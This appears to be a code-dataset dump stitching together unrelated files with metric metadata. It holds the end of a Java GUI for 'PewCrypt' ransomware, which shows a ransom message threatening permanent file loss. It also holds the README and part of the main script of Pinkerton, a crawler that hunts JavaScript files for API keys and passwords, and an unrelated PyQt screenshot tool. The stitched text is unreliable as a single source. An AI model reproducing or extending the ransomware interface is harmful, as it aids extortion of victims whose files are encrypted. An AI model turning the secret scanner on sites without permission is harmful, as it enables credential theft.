byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);
try {
img = ImageIO.read(new ByteArrayInputStream(imageBytes));
} catch (IOException e1) {
e1.printStackTrace();
}
frmYourFilesHave = new JFrame();
frmYourFilesHave.setResizable(false);
frmYourFilesHave.setIconImage(img);
frmYourFilesHave.setTitle("PewCrypt");
frmYourFilesHave.setType(Type.POPUP);
frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
frmYourFilesHave.setBounds(100, 100, 1247, 850);
frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frmYourFilesHave.getContentPane().setLayout(null);
txtYourFilesHave = new JTextField();
txtYourFilesHave.setBounds(0, 0, 1215, 45);
txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
txtYourFilesHave.setBackground(Color.BLACK);
txtYourFilesHave.setForeground(Color.RED);
txtYourFilesHave.setEditable(false);
txtYourFilesHave.setText("Your Files Have Been Encrypted!");
frmYourFilesHave.getContentPane().add(txtYourFilesHave);
txtYourFilesHave.setColumns(10);
JTextArea Instructions = new JTextArea();
Instructions.setBounds(0, 242, 1215, 203);
Instructions.setEditable(false);
Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
Instructions.setBackground(Color.BLACK);
Instructions.setForeground(Color.RED);
Instructions.setText(
"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
frmYourFilesHave.getContentPane().add(Instructions);
progressBarPEW.setMaximum(100000000);
progressBarPEW.setForeground(new Color(0, 153, 204));
progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
progressBarPEW.setBackground(Color.DARK_GRAY);
progressBarPEW.setBounds(0, 85, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarPEW);
progressBarT.setMaximum(100000000);
progressBarT.setForeground(new Color(204, 0, 0));
progressBarT.setToolTipText("T-Series Sub Progress Bar");
progressBarT.setBackground(Color.DARK_GRAY);
progressBarT.setBounds(0, 186, 1215, 50);
frmYourFilesHave.getContentPane().add(progressBarT);
JButton btnNewButton = new JButton(new ImageIcon(img));
btnNewButton.setBackground(Color.BLACK);
btnNewButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
try {
// open Pewdiepie channel
Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
}
}
});
btnNewButton.setBounds(491, 485, 241, 249);
btnNewButton.setBorderPainted(false);
btnNewButton.setFocusPainted(false);
btnNewButton.setContentAreaFilled(false);
frmYourFilesHave.getContentPane().add(btnNewButton);
lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
lblPewdiepie.setForeground(Color.RED);
lblPewdiepie.setBounds(0, 47, 1215, 33);
frmYourFilesHave.getContentPane().add(lblPewdiepie);
lblT.setHorizontalAlignment(SwingConstants.CENTER);
lblT.setForeground(Color.RED);
lblT.setBounds(0, 144, 1215, 33);
frmYourFilesHave.getContentPane().add(lblT);
}
}
| 67,303
|
UI
|
java
|
en
|
java
|
code
|
{"qsc_code_num_words": 2723, "qsc_code_num_chars": 67303.0, "qsc_code_mean_word_length": 23.35769372, "qsc_code_frac_words_unique": 0.82666177, "qsc_code_frac_chars_top_2grams": 0.0018867, "qsc_code_frac_chars_top_3grams": 0.00163514, "qsc_code_frac_chars_top_4grams": 0.00056601, "qsc_code_frac_chars_dupe_5grams": 0.00490543, "qsc_code_frac_chars_dupe_6grams": 0.00245271, "qsc_code_frac_chars_dupe_7grams": 0.00141503, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.14830515, "qsc_code_frac_chars_whitespace": 0.01155966, "qsc_code_size_file_byte": 67303.0, "qsc_code_num_lines": 186.0, "qsc_code_num_chars_line_max": 61678.0, "qsc_code_num_chars_line_mean": 361.84408602, "qsc_code_frac_chars_alphabet": 0.80777151, "qsc_code_frac_chars_comments": 0.00218415, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.09558824, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.01470588, "qsc_code_frac_chars_string_length": 0.927929, "qsc_code_frac_chars_long_word_length": 0.91829472, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 1.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.03676471, "qsc_codejava_score_lines_no_logic": 0.22058824, "qsc_codejava_frac_words_no_modifier": 0.83333333, "qsc_codejava_frac_words_legal_var_name": 0.78571429, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 1, "qsc_code_num_chars_line_mean": 1, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 1, "qsc_code_frac_chars_long_word_length": 1, "qsc_code_cate_encoded_data": 1, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
|
000pp/Pinkerton
|
README.md
|
# 🕵️ Pinkerton
> Investigating JavaScript files since 1850
<div align="center">
<img src="https://i.imgur.com/qQXb2ha.png" width=700>
</div>
<br>
<p align="center">
<img src="https://img.shields.io/github/license/000pp/Pinkerton?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/issues/000pp/Pinkerton?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/stars/000pp/pinkerton?color=yellow&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/forks/000pp/Pinkerton?color=yellow&logo=github&style=for-the-badge">
</p>
___
<br>
<p>Python project to crawl for JavaScript files and search for secrets like API keys, authorization tokens, hardcoded passwords, or related data.</p>
<br>
## ⚡ Getting started
<p>A quick guide on how to install and use Pinkerton. </p>
1. Clone the repository with: `git clone https://github.com/000pp/pinkerton.git`
2. Install the libraries with: `pip3 install -r requirements.txt --break-system-packages`
3. Run Pinkerton with: `python3 main.py -u https://example.com`
<br>
### 🐳 Docker
If you want to use pinkerton in a Docker container, follow this procedure:
```
1. Clone the repository - git clone https://github.com/000pp/pinkerton.git
2. Build the image - sudo docker build -t pinkerton:latest .
3. Run container - sudo docker run pinkerton:latest
```
<br>
### ⚫ BlackArch
```
pacman -Syu pinkerton
```
<br><br>
## 🔨 Contributing
A quick guide on how to contribute to the project.
1. Create a fork of the Pinkerton repository
2. Clone the repository with `git clone https://github.com/your/pinkerton.git`
3. Type `cd pinkerton/`
4. Create a branch and make your changes
5. Commit and perform a git push
6. Open a pull request
<br><br>
## 🙏 Credits
- [m4ll0k (SecretFinder creator)](https://github.com/m4ll0k) for the regex patterns
- [h33lit (Jubaer Alnazi)](https://github.com/h33tlit) for the regex patterns
- [zricethezav (GitLeaks creator)](https://github.com/zricethezav/gitleaks) for the regex patterns
<br><br>
## ⚠️ Warning
- The developer is not responsible for any malicious use of this tool.
| 2,175
|
README
|
md
|
en
|
markdown
|
text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.14920071, "qsc_doc_num_sentences": 44.0, "qsc_doc_num_words": 340, "qsc_doc_num_chars": 2175.0, "qsc_doc_num_lines": 78.0, "qsc_doc_mean_word_length": 4.67058824, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.43235294, "qsc_doc_entropy_unigram": 4.5612632, "qsc_doc_frac_words_all_caps": 0.0053286, "qsc_doc_frac_lines_dupe_lines": 0.23529412, "qsc_doc_frac_chars_dupe_lines": 0.02696196, "qsc_doc_frac_chars_top_2grams": 0.02644836, "qsc_doc_frac_chars_top_3grams": 0.05289673, "qsc_doc_frac_chars_top_4grams": 0.03526448, "qsc_doc_frac_chars_dupe_5grams": 0.33690176, "qsc_doc_frac_chars_dupe_6grams": 0.31612091, "qsc_doc_frac_chars_dupe_7grams": 0.29345088, "qsc_doc_frac_chars_dupe_8grams": 0.27518892, "qsc_doc_frac_chars_dupe_9grams": 0.27518892, "qsc_doc_frac_chars_dupe_10grams": 0.18324937, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 16.69105691, "qsc_doc_frac_chars_hyperlink_html_tag": 0.31724138, "qsc_doc_frac_chars_alphabet": 0.81349628, "qsc_doc_frac_chars_digital": 0.02550478, "qsc_doc_frac_chars_whitespace": 0.13471264, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
00000O00000/ask-ai-screenshot
|
screenshot_overlay.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI截图分析 - 高级截图覆盖层
提供流畅的截图体验，包括区域选择、确认/取消等功能
"""
import logging
from PIL import ImageGrab, Image
from PyQt6.QtCore import Qt, QRect, QPoint, pyqtSignal
from PyQt6.QtGui import (
QPainter, QPen, QColor, QFont,
QFontMetrics, QKeySequence, QShortcut
)
from PyQt6.QtWidgets import (
QWidget, QApplication, QHBoxLayout,
QPushButton, QFrame
)
class ScreenshotOverlay(QWidget):
"""截图覆盖层窗口"""
# 信号定义
screenshot_confirmed = pyqtSignal(object) # 确认截图信号
screenshot_cancelled = pyqtSignal() # 取消截图信号
def __init__(self):
super().__init__()
self.setup_ui()
self.setup_variables()
self.setup_shortcuts()
def setup_ui(self):
"""设置UI"""
# 设置窗口属性
self.setWindowFlags(
Qt.WindowType.FramelessWindowHint |
Qt.WindowType.WindowStaysOnTopHint |
Qt.WindowType.Tool
)
self.setAttribute(Qt.WidgetAttribute.WA_TranslucentBackground)
self.setWindowState(Qt.WindowState.WindowFullScreen)
# 设置鼠标追踪
self.setMouseTracking(True)
# 获取屏幕尺寸
screen = QApplication.primaryScreen()
self.screen_geometry = screen.geometry()
self.setGeometry(self.screen_geometry)
# 截取屏幕背景
self.background_pixmap = screen.grabWindow(0)
def setup_variables(self):
"""设置变量"""
self.is_selecting = False
self.selection_start = QPoint()
self.selection_end = QPoint()
self.current_rect = QRect()
self.is_dragging = False
# 控制面板相关
self.control_panel = None
self.show_control_panel = False
def setup_shortcuts(self):
"""设置快捷键"""
# ESC键取消
self.escape_shortcut = QShortcut(QKeySequence(Qt.Key.Key_Escape), self)
self.escape_shortcut.activated.connect(self.cancel_screenshot)
# Enter键确认
self.enter_shortcut = QShortcut(QKeySequence(Qt.Key.Key_Return), self)
self.enter_shortcut.activated.connect(self.confirm_screenshot)
# Space键确认
self.space_shortcut = QShortcut(QKeySequence(Qt.Key.Key_Space), self)
self.space_shortcut.activated.connect(self.confirm_screenshot)
def mousePressEvent(self, event):
"""鼠标按下事件"""
if event.button() == Qt.MouseButton.LeftButton:
self.is_selecting = True
self.selection_start = event.pos()
self.selection_end = event.pos()
self.current_rect = QRect()
self.hide_control_panel()
self.update()
def mouseMoveEvent(self, event):
"""鼠标移动事件"""
if self.is_selecting:
self.selection_end = event.pos()
self.current_rect = QRect(self.selection_start, self.selection_end).normalized()
self.update()
def mouseReleaseEvent(self, event):
"""鼠标释放事件"""
if event.button() == Qt.MouseButton.LeftButton and self.is_selecting:
self.is_selecting = False
self.selection_end = event.pos()
self.current_rect = QRect(self.selection_start, self.selection_end).normalized()
# 如果选择区域太小，则取消选择
if self.current_rect.width() < 10 or self.current_rect.height() < 10:
self.current_rect = QRect()
self.update()
return
# 显示控制面板
self.show_control_panel_at_selection()
self.update()
def mouseDoubleClickEvent(self, event):
"""鼠标双击事件 - 快速确认"""
if not self.current_rect.isEmpty():
self.confirm_screenshot()
def keyPressEvent(self, event):
"""键盘按下事件"""
if event.key() == Qt.Key.Key_Escape:
self.cancel_screenshot()
elif event.key() in (Qt.Key.Key_Return, Qt.Key.Key_Enter, Qt.Key.Key_Space):
if not self.current_rect.isEmpty():
self.confirm_screenshot()
super().keyPressEvent(event)
def paintEvent(self, event):
"""绘制事件"""
painter = QPainter(self)
painter.setRenderHint(QPainter.RenderHint.Antialiasing)
# 绘制背景（半透明遮罩）
painter.drawPixmap(0, 0, self.background_pixmap)
# 绘制遮罩层
overlay_color = QColor(0, 0, 0, 120) # 半透明黑色
painter.fillRect(self.rect(), overlay_color)
# 如果有选择区域，绘制选择框
if not self.current_rect.isEmpty():
self.draw_selection_area(painter)
self.draw_selection_instructions(painter)
else:
# 绘制初始提示信息
self.draw_instructions(painter)
def draw_selection_area(self, painter):
"""绘制选择区域"""
# 清除选择区域的遮罩，显示原始截图
painter.setCompositionMode(QPainter.CompositionMode.CompositionMode_Clear)
painter.fillRect(self.current_rect, QColor(0, 0, 0, 0))
# 恢复正常绘制模式
painter.setCompositionMode(QPainter.CompositionMode.CompositionMode_SourceOver)
# 绘制选择框边框
pen = QPen(QColor(0, 120, 215), 2) # Windows蓝色
painter.setPen(pen)
painter.drawRect(self.current_rect)
# 绘制选择框信息
self.draw_selection_info(painter)
def draw_selection_info(self, painter):
"""绘制选择框信息"""
if self.current_rect.isEmpty():
return
# 设置字体（缩小字体）
font = QFont("Microsoft YaHei", 10, QFont.Weight.Medium)
painter.setFont(font)
# 准备信息文本
width = self.current_rect.width()
height = self.current_rect.height()
info_text = f"{width} × {height}"
# 计算文本位置
fm = QFontMetrics(font)
text_rect = fm.boundingRect(info_text)
# 放置在选择框外的右下角，距离选择框15像素
info_x = self.current_rect.right() + 15
info_y = self.current_rect.bottom() + 15
# 确保信息框在屏幕范围内
if info_x + text_rect.width() + 16 > self.width():
# 如果右侧空间不够，放在左侧
info_x = self.current_rect.left() - text_rect.width() - 31
if info_y + text_rect.height() + 12 > self.height():
# 如果下方空间不够，放在上方
info_y = self.current_rect.top() - text_rect.height() - 27
# 如果左侧也不够，强制放在屏幕内
if info_x < 10:
info_x = 10
if info_y < 10:
info_y = 10
# 绘制信息背景（缩小的圆角矩形）
info_bg_rect = QRect(
info_x - 8, info_y - 6,
text_rect.width() + 16, text_rect.height() + 12
)
# 绘制背景阴影
shadow_rect = QRect(info_bg_rect.x() + 1, info_bg_rect.y() + 1,
info_bg_rect.width(), info_bg_rect.height())
painter.fillRect(shadow_rect, QColor(0, 0, 0, 100))
# 绘制背景
painter.fillRect(info_bg_rect, QColor(0, 120, 215, 200)) # Windows蓝色背景
# 绘制背景边框
painter.setPen(QPen(QColor(255, 255, 255, 120), 1))
painter.drawRoundedRect(info_bg_rect, 4, 4)
# 绘制文本阴影
painter.setPen(QPen(QColor(0, 0, 0, 120)))
painter.drawText(info_x + 1, info_y + text_rect.height() + 1, info_text)
# 绘制信息文本
painter.setPen(QPen(QColor(255, 255, 255, 255)))
painter.drawText(info_x, info_y + text_rect.height(), info_text)
def draw_instructions(self, painter):
"""绘制操作提示"""
# 只在没有选择区域时显示操作提示
if not self.current_rect.isEmpty():
return
# 设置字体
font = QFont("Microsoft YaHei", 14, QFont.Weight.Medium)
painter.setFont(font)
# 准备提示文本（只在未选择时显示）
instructions = [
"拖拽鼠标选择截图区域",
"按 ESC 键取消"
]
# 计算所有文本的总高度，用于垂直居中
fm = QFontMetrics(font)
total_height = 0
text_rects = []
for instruction in instructions:
text_rect = fm.boundingRect(instruction)
text_rects.append(text_rect)
total_height += text_rect.height() + 20 # 20是行间距
total_height -= 20 # 减去最后一行的行间距
# 计算起始Y位置（垂直居中）
start_y = (self.height() - total_height) // 2
# 绘制每行文本
y_offset = start_y
for i, instruction in enumerate(instructions):
text_rect = text_rects[i]
# 计算水平居中位置
x = (self.width() - text_rect.width()) // 2
# 绘制文本阴影（多层阴影效果）
shadow_offsets = [(2, 2), (1, 1), (3, 3)]
shadow_colors = [QColor(0, 0, 0, 180), QColor(0, 0, 0, 120), QColor(0, 0, 0, 60)]
for offset, shadow_color in zip(shadow_offsets, shadow_colors):
painter.setPen(QPen(shadow_color))
painter.drawText(x + offset[0], y_offset + text_rect.height() + offset[1], instruction)
# 绘制文本背景（圆角矩形，更好的视觉效果）
bg_rect = QRect(
x - 15, y_offset - 5,
text_rect.width() + 30, text_rect.height() + 15
)
# 绘制背景阴影
shadow_rect = QRect(bg_rect.x() + 3, bg_rect.y() + 3, bg_rect.width(), bg_rect.height())
painter.fillRect(shadow_rect, QColor(0, 0, 0, 100))
# 绘制背景（渐变效果）
painter.fillRect(bg_rect, QColor(0, 0, 0, 200))
# 绘制背景边框
painter.setPen(QPen(QColor(255, 255, 255, 80), 1))
painter.drawRoundedRect(bg_rect, 8, 8)
# 绘制主文本（白色）
painter.setPen(QPen(QColor(255, 255, 255, 255)))
painter.drawText(x, y_offset + text_rect.height(), instruction)
y_offset += text_rect.height() + 20
def draw_selection_instructions(self, painter):
"""绘制选择区域时的操作提示"""
# 设置字体
font = QFont("Microsoft YaHei", 13, QFont.Weight.Medium)
painter.setFont(font)
# 准备提示文本
instructions = [
"双击或按 Enter/Space 确认截图",
"按 ESC 键取消"
]
# 计算文本位置（屏幕顶部居中）
fm = QFontMetrics(font)
y_offset = 25
for instruction in instructions:
text_rect = fm.boundingRect(instruction)
x = (self.width() - text_rect.width()) // 2
# 绘制文本背景（不遮挡选择区域）
bg_rect = QRect(
x - 12, y_offset - 6,
text_rect.width() + 24, text_rect.height() + 12
)
# 绘制背景阴影
shadow_rect = QRect(bg_rect.x() + 2, bg_rect.y() + 2, bg_rect.width(), bg_rect.height())
painter.fillRect(shadow_rect, QColor(0, 0, 0, 100))
# 绘制背景
painter.fillRect(bg_rect, QColor(0, 0, 0, 180))
# 绘制背景边框
painter.setPen(QPen(QColor(255, 255, 255, 60), 1))
painter.drawRoundedRect(bg_rect, 6, 6)
# 绘制文本阴影
painter.setPen(QPen(QColor(0, 0, 0, 150)))
painter.drawText(x + 1, y_offset + text_rect.height() + 1, instruction)
# 绘制主文本
painter.setPen(QPen(QColor(255, 255, 255, 255)))
painter.drawText(x, y_offset + text_rect.height(), instruction)
y_offset += text_rect.height() + 15
def show_control_panel_at_selection(self):
"""在选择区域附近显示控制面板"""
if self.current_rect.isEmpty():
return
# 创建控制面板
if not self.control_panel:
self.control_panel = ScreenshotControlPanel(self)
# 计算控制面板位置
panel_x = self.current_rect.right() - self.control_panel.width()
panel_y = self.current_rect.bottom() + 10
# 确保面板在屏幕范围内
if panel_x < 0:
panel_x = self.current_rect.x()
if panel_x + self.control_panel.width() > self.width():
panel_x = self.width() - self.control_panel.width()
if panel_y + self.control_panel.height() > self.height():
panel_y = self.current_rect.y() - self.control_panel.height() - 10
# 显示控制面板
self.control_panel.move(panel_x, panel_y)
self.control_panel.show()
self.show_control_panel = True
def hide_control_panel(self):
"""隐藏控制面板"""
if self.control_panel:
self.control_panel.hide()
self.show_control_panel = False
def confirm_screenshot(self):
"""确认截图"""
if self.current_rect.isEmpty():
return
try:
# 获取屏幕信息
screen = QApplication.primaryScreen()
device_pixel_ratio = screen.devicePixelRatio()
# 截取选择区域 - 考虑DPI缩放
x = int(self.current_rect.x() * device_pixel_ratio)
y = int(self.current_rect.y() * device_pixel_ratio)
width = int(self.current_rect.width() * device_pixel_ratio)
height = int(self.current_rect.height() * device_pixel_ratio)
# 使用PIL截取指定区域
screenshot = ImageGrab.grab(bbox=(x, y, x + width, y + height))
# 如果DPI缩放不是1，需要调整图片大小回到原始尺寸
if device_pixel_ratio != 1.0:
original_width = self.current_rect.width()
original_height = self.current_rect.height()
screenshot = screenshot.resize((original_width, original_height), Image.LANCZOS)
if screenshot:
logging.info(f"截图确认: {self.current_rect.width()}x{self.current_rect.height()} at ({self.current_rect.x()}, {self.current_rect.y()}), DPI: {device_pixel_ratio}")
self.screenshot_confirmed.emit(screenshot)
else:
logging.error("截图失败")
except Exception as e:
logging.error(f"确认截图时出错: {e}")
finally:
self.close()
def cancel_screenshot(self):
"""取消截图"""
logging.info("截图已取消")
self.screenshot_cancelled.emit()
self.close()
def closeEvent(self, event):
"""关闭事件"""
self.hide_control_panel()
super().closeEvent(event)
class ScreenshotControlPanel(QFrame):
"""截图控制面板"""
def __init__(self, parent_overlay):
super().__init__(parent_overlay)
self.parent_overlay = parent_overlay
self.setup_ui()
def setup_ui(self):
"""设置UI"""
self.setFixedSize(200, 60)
self.setStyleSheet("""
QFrame {
background-color: rgba(40, 40, 40, 220);
border: 1px solid rgba(255, 255, 255, 100);
border-radius: 8px;
}
QPushButton {
background-color: rgba(0, 120, 215, 180);
color: white;
border: none;
border-radius: 4px;
padding: 8px 16px;
font-size: 11px;
font-weight: bold;
}
QPushButton:hover {
background-color: rgba(0, 120, 215, 220);
}
QPushButton:pressed {
background-color: rgba(0, 100, 180, 255);
}
QPushButton#cancel_btn {
background-color: rgba(180, 50, 50, 180);
}
QPushButton#cancel_btn:hover {
background-color: rgba(180, 50, 50, 220);
}
""")
# 创建布局
layout = QHBoxLayout(self)
layout.setContentsMargins(10, 10, 10, 10)
layout.setSpacing(10)
# 取消按钮
self.cancel_btn = QPushButton("取消")
self.cancel_btn.setObjectName("cancel_btn")
self.cancel_btn.clicked.connect(self.parent_overlay.cancel_screenshot)
layout.addWidget(self.cancel_btn)
# 确认按钮
self.confirm_btn = QPushButton("确认")
self.confirm_btn.clicked.connect(self.parent_overlay.confirm_screenshot)
layout.addWidget(self.confirm_btn)
class AdvancedScreenshotManager:
"""高级截图管理器"""
def __init__(self, config_manager):
self.config_manager = config_manager
self.overlay = None
def start_screenshot(self) -> None:
"""开始截图"""
try:
# 如果已有覆盖层，先关闭并清理
if self.overlay:
try:
self.overlay.screenshot_confirmed.disconnect()
self.overlay.screenshot_cancelled.disconnect()
except:
pass
self.overlay.close()
self.overlay = None
# 创建新的覆盖层
self.overlay = ScreenshotOverlay()
# 连接信号
self.overlay.screenshot_confirmed.connect(self._on_screenshot_confirmed)
self.overlay.screenshot_cancelled.connect(self._on_screenshot_cancelled)
# 显示覆盖层
self.overlay.show()
self.overlay.raise_()
self.overlay.activateWindow()
logging.info("高级截图模式已启动")
except Exception as e:
logging.error(f"启动截图失败: {e}")
if self.overlay:
self.overlay.close()
self.overlay = None
def _on_screenshot_confirmed(self, screenshot):
"""截图确认回调"""
# 这里可以添加回调函数或信号
logging.info("截图已确认")
def _on_screenshot_cancelled(self):
"""截图取消回调"""
logging.info("截图已取消")
def cleanup(self):
"""清理资源"""
if self.overlay:
self.overlay.close()
self.overlay = None
| 17,898
|
screenshot_overlay
|
py
|
en
|
python
|
code
|
{"qsc_code_num_words": 1809, "qsc_code_num_chars": 17898.0, "qsc_code_mean_word_length": 5.1448314, "qsc_code_frac_words_unique": 0.21227197, "qsc_code_frac_chars_top_2grams": 0.04254862, "qsc_code_frac_chars_top_3grams": 0.05802084, "qsc_code_frac_chars_top_4grams": 0.01160417, "qsc_code_frac_chars_dupe_5grams": 0.35392715, "qsc_code_frac_chars_dupe_6grams": 0.26120125, "qsc_code_frac_chars_dupe_7grams": 0.1669711, "qsc_code_frac_chars_dupe_8grams": 0.13925003, "qsc_code_frac_chars_dupe_9grams": 0.10733856, "qsc_code_frac_chars_dupe_10grams": 0.07446008, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03142907, "qsc_code_frac_chars_whitespace": 0.35646441, "qsc_code_size_file_byte": 17898.0, "qsc_code_num_lines": 539.0, "qsc_code_num_chars_line_max": 177.0, "qsc_code_num_chars_line_mean": 33.20593692, "qsc_code_frac_chars_alphabet": 0.7765237, "qsc_code_frac_chars_comments": 0.05838641, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.25835866, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00303951, "qsc_code_frac_chars_string_length": 0.07501352, "qsc_code_frac_chars_long_word_length": 0.00937669, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.07902736, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.00303951, "qsc_codepython_frac_lines_import": 0.01519757, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.12462006, "qsc_codepython_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
000pp/Pinkerton
|
src/pinkerton/main.py
|
import re
from requests import get, exceptions
from urllib3 import disable_warnings
from rich.console import Console
console = Console()
from src.pinkerton.settings import get_user_agent
from src.pinkerton.modules.secret import scan
disable_warnings()
def perform_checks(args) -> None:
" Check if target is accessible "
url = args.url
custom_headers = {
"User-Agent": get_user_agent(),
}
for header in args.HEADER:
name, value = header
custom_headers[name] = value
try:
response = get(url, headers=custom_headers, verify=False)
status_code: int = response.status_code
page_content: str = response.text
if(response.ok):
console.print(f"[[green]+[/]] Connected sucessfully with [yellow]{url}[/]", highlight=False)
extract_js(url, page_content, custom_headers)
else:
console.print(f"[[red]![/]] {url} returned {status_code} status code", highlight=False)
return False
except exceptions.ConnectionError as con_error:
console.print(f"[[red]![/]] {url} Connection Error: {con_error}", highlight=False)
return False
except exceptions.InvalidURL as invalid_error:
